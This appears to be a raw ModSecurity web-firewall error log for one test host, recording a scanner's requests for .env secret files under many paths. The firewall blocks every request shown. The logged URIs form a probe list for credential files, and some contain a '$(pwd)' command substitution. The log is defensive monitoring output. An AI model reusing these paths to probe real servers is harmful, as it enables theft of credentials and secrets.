[Sun Mar 22 01:06:01.719198 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.production&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97SAAAAAE&quot;]
[Sun Mar 22 01:06:01.719334 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.production&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97SAAAAAE&quot;]
[Sun Mar 22 01:06:01.741590 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.development&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97SQAAAAE&quot;]
[Sun Mar 22 01:06:01.741789 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.development&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97SQAAAAE&quot;]
[Sun Mar 22 01:06:01.741939 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.development&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97SQAAAAE&quot;]
[Sun Mar 22 01:06:01.763994 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.staging&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97SgAAAAE&quot;]
[Sun Mar 22 01:06:01.764200 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.staging&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97SgAAAAE&quot;]
[Sun Mar 22 01:06:01.764331 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.env.staging&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97SgAAAAE&quot;]
[Sun Mar 22 01:06:01.786672 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97SwAAAAE&quot;]
[Sun Mar 22 01:06:01.786864 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97SwAAAAE&quot;]
[Sun Mar 22 01:06:01.787000 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97SwAAAAE&quot;]
[Sun Mar 22 01:06:01.808995 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.local&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97TAAAAAE&quot;]
[Sun Mar 22 01:06:01.809183 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.local&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97TAAAAAE&quot;]
[Sun Mar 22 01:06:01.809327 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.local&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97TAAAAAE&quot;]
[Sun Mar 22 01:06:01.831443 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.production&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97TQAAAAE&quot;]
[Sun Mar 22 01:06:01.831639 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.production&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97TQAAAAE&quot;]
[Sun Mar 22 01:06:01.831771 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.production&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97TQAAAAE&quot;]
[Sun Mar 22 01:06:01.853924 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /var/www/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/www/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97TgAAAAE&quot;]
[Sun Mar 22 01:06:01.854119 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/www/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97TgAAAAE&quot;]
[Sun Mar 22 01:06:01.854262 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/www/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97TgAAAAE&quot;]
[Sun Mar 22 01:06:01.876553 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /var/www/html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/www/html/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97TwAAAAE&quot;]
[Sun Mar 22 01:06:01.876757 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/www/html/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97TwAAAAE&quot;]
[Sun Mar 22 01:06:01.876903 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/www/html/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97TwAAAAE&quot;]
[Sun Mar 22 01:06:01.899123 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /opt/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97UAAAAAE&quot;]
[Sun Mar 22 01:06:01.899326 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97UAAAAAE&quot;]
[Sun Mar 22 01:06:01.899476 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97UAAAAAE&quot;]
[Sun Mar 22 01:06:01.921637 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /srv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97UQAAAAE&quot;]
[Sun Mar 22 01:06:01.921842 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97UQAAAAE&quot;]
[Sun Mar 22 01:06:01.921981 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/srv/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97UQAAAAE&quot;]
[Sun Mar 22 01:06:01.944175 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97UgAAAAE&quot;]
[Sun Mar 22 01:06:01.944361 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97UgAAAAE&quot;]
[Sun Mar 22 01:06:01.944500 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97UgAAAAE&quot;]
[Sun Mar 22 01:06:01.966578 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97UwAAAAE&quot;]
